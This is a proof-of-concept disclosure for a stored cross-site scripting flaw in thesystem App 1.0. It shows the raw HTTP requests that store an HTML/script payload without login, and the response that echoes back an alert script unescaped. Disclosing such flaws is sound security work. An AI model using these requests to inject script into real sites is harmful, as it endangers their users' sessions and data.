thesystem App 1.0 Cross Site Scripting

`# Exploit Title: thesystem App 1.0 - Persistent Cross-Site Scripting  
# Author: İsmail Güngör   
# Discovery Date: 2019-09-26   
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem   
# Software Link: https://github.com/kostasmitroglou/thesystem   
# Tested Version: 1.0   
# Tested on OS: Windows 10   
# CVE: N/A   
  
# Description:   
# Stored XSS after login bypass(login_required didn't used)   
  
First of all following request is sent web server   
  
POST /data/ HTTP/1.1   
Host: 127.0.0.1:8000   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0   
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3   
Accept-Encoding: gzip, deflate   
Content-Type: multipart/form-data; boundary=---------------------------191691572411478   
Content-Length: 332   
Connection: close   
Referer: http://127.0.0.1:8000/data/   
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977   
Upgrade-Insecure-Requests: 1   
  
-----------------------------191691572411478   
Content-Disposition: form-data; name="csrfmiddlewaretoken"   
  
0sryZfN7NDe4UUwhjehPQxPRtaMSq85nbGQjmLc9KL79DBOsfK0Plkvp2MwPus75   
-----------------------------191691572411478   
Content-Disposition: form-data; name="server_name"   
  
<h1>test   
-----------------------------191691572411478--   
  
After following request is sent web server   
  
GET /show_search/ HTTP/1.1   
Host: 127.0.0.1:8000   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0   
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3   
Accept-Encoding: gzip, deflate   
Connection: close   
Referer: http://127.0.0.1:8000/data/   
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977   
Upgrade-Insecure-Requests: 1   
  
# Finally, response is shown Xtored XSS:   
  
HTTP/1.1 200 OK   
Date: Thu, 26 Sep 2019 12:25:19 GMT   
Server: WSGIServer/0.2 CPython/3.5.3   
Content-Type: text/html; charset=utf-8   
X-Frame-Options: SAMEORIGIN   
Content-Length: 176   
  
('2019-09-26 14:25:01.878572', '1')('2019-09-26 15:16:11.013642', '1')('2019-09-26 15:21:52.962785', '<h1>test')('2019-09-26 15:23:50.367709', '<script>alert("kale")</script>')   
`